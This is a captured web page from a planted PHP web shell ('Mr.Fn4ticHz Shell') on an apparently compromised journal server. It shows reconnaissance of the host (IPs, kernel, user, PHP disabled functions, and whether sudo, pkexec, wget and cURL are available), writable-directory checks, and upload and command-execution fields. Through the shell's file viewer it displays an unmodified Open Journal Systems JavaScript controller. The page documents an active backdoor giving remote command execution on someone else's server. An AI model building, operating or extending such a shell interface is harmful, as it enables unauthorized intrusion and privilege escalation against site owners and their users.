Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 162.159.115.25
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/jurnal/public_html/lib/pkp/js/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/jurnal/public_html/lib/pkp/js/controllers/UrlInDivHandler.js
/**
 * @file js/controllers/UrlInDivHandler.js
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class UrlInDivHandler
 * @ingroup js_controllers
 *
 * @brief "URL in div" handler
 */
(function($) {


	/**
	 * @constructor
	 *
	 * @extends $.pkp.classes.Handler
	 *
	 * @param {jQueryObject} $divElement the wrapped div element.
	 * @param {Object} options options to be passed.
	 */
	$.pkp.controllers.UrlInDivHandler = function($divElement, options) {
		this.parent($divElement, options);

		// Store the URL (e.g. for reloads)
		this.sourceUrl_ = options.sourceUrl;

		// Load the contents.
		this.reload();

		if (options.refreshOn) {
			this.bindGlobal(options.refreshOn, this.reload);
		}
	};
	$.pkp.classes.Helper.inherits(
			$.pkp.controllers.UrlInDivHandler, $.pkp.classes.Handler);


	//
	// Private properties
	//
	/**
	 * The URL to be used for data loaded into this div
	 * @private
	 * @type {?string}
	 */
	$.pkp.controllers.UrlInDivHandler.sourceUrl_ = null;


	//
	// Public Methods
	//
	/**
	 * Reload the div contents.
	 */
	$.pkp.controllers.UrlInDivHandler.prototype.reload = function() {
		$.get(this.sourceUrl_,
				this.callbackWrapper(this.handleLoadedContent_), 'json');
	};


	/**
	 * Fetches the progress bar URL.
	 * @return {?string} the source URL.
	 */
	$.pkp.controllers.UrlInDivHandler.prototype.getSourceUrl = function() {
		return this.sourceUrl_;
	};


	/**
	 * Sets the progress bar URL.
	 * @param {string} sourceUrl the new source URL.
	 */
	$.pkp.controllers.UrlInDivHandler.prototype.setSourceUrl = function(sourceUrl) {
		this.sourceUrl_ = sourceUrl;
	};


	//
	// Private Methods
	//
	/**
	 * Handle a callback after a load operation returns.
	 *
	 * @param {Object} ajaxContext The AJAX request context.
	 * @param {Object} jsonData A parsed JSON response object.
	 * @return {boolean} Message handling result.
	 * @private
	 */
	$.pkp.controllers.UrlInDivHandler.prototype.handleLoadedContent_ =
			function(ajaxContext, jsonData) {

		var handledJsonData = this.handleJson(jsonData), urlInDivHandler = this;
		if (handledJsonData.status === true) {
			if (handledJsonData.content === undefined) {
				// Request successful, but no data returned.
				// Hide this div element.
				this.getHtmlElement().hide();
			} else {
				// See bug #8237.
				if (! /msie/.test(navigator.userAgent.toLowerCase())) {
					this.getHtmlElement().hide();
					this.html(handledJsonData.content);
					this.getHtmlElement().fadeIn(400);
				} else {
					this.html(handledJsonData.content);
				}

				$(function() {
					urlInDivHandler.trigger('urlInDivLoaded',
							[urlInDivHandler.getHtmlElement().attr('id')]);
				});
			}
		} else {
			// Alert that loading failed.
			alert(handledJsonData.content);
		}

		return false;
	};


}(jQuery));

Mr.F4ticHz - 2022
Mr.Fn4tcHzam